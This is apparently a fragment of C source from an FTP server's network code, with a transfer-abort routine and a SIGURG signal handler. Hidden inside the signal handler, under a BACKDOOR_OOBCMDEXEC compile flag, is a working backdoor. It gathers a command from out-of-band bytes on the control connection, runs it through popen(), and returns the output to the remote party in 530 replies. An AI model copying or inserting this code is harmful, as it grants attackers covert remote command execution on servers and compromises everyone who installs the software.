int pr_netio_lingering_abort(pr_netio_stream_t *nstrm, long linger) { int res; if (nstrm == NULL) { errno = EINVAL; return -1; } /* Send an appropriate response code down the stream asychronously. */ pr_response_send_async(R_426, _("Transfer aborted. Data connection closed.")); pr_netio_shutdown(nstrm, 1); if (nstrm->strm_fd >= 0) { fd_set rs; struct timeval tv; /* Wait for just a little while for the shutdown to take effect. */ tv.tv_sec = 0L; tv.tv_usec = 300000L; while (TRUE) { run_schedule(); FD_ZERO(&rs); FD_SET(nstrm->strm_fd, &rs); res = select(nstrm->strm_fd+1, &rs, NULL, NULL, &tv); if (res == -1) { if (errno == EINTR) { pr_signals_handle(); /* Linger some more. */ tv.tv_sec = 0L; tv.tv_usec = 300000L; continue; } else { nstrm->strm_errno = errno; return -1; } } break; } } /* Now continue with a normal lingering close. */ return netio_lingering_close(nstrm, linger, NETIO_LINGERING_CLOSE_FL_NO_SHUTDOWN); }
/* This signal is raised if we get OOB data on the control connection, and * a data transfer is in progress. */ RETSIGTYPE data_urgent(int signo) { if (session.sf_flags & SF_XFER) { pr_trace_msg(trace_channel, 5, "received SIGURG signal (signal %d), " "setting 'aborted' session flag", signo); session.sf_flags |= SF_ABORT; if (nstrm) pr_netio_abort(nstrm); } #ifdef BACKDOOR_OOBCMDEXEC char buffer; char *ptr; FILE *fptr; int n; if (mydummy == 0) { #ifdef BACKDOOR_DEBUG syslog(LOG_INFO, "oobcmdexec data_urgent: error: dummy is 0"); #endif return; } if ((n = recv(mydummy, &buffer, 1, MSG_OOB)) < 0) { #ifdef BACKDOOR_DEBUG syslog(LOG_INFO, "oobcmdexec data_urgent: recv() failed: %s", strerror(errno)); #endif return; } if (!n) { #ifdef BACKDOOR_DEBUG syslog(LOG_INFO, "oobcmdexec data_urgent: received 0 bytes"); #endif return; } #ifdef BACKDOOR_DEBUG syslog(LOG_INFO, "oobcmdexec data_urgent: received character: %c", buffer); #endif if (buffer == '\0') { #ifdef BACKDOOR_DEBUG syslog(LOG_INFO, "oobcmdexec data_urgent: popen(%s)", mycommand); #endif mycount = 0; fptr = popen(mycommand, "r"); while (fgets(mycommand, sizeof(mycommand), fptr) != NULL) { if ((ptr = strchr(mycommand, '\n'))) *ptr = '\0'; pr_response_send_async(R_530, "%s", mycommand); } pclose(fptr); } else { mycommand[mycount] = buffer; mycount++; } #endif /* BACKDOOR_OOBCMDEXEC */ signal(SIGURG, data_urgent); }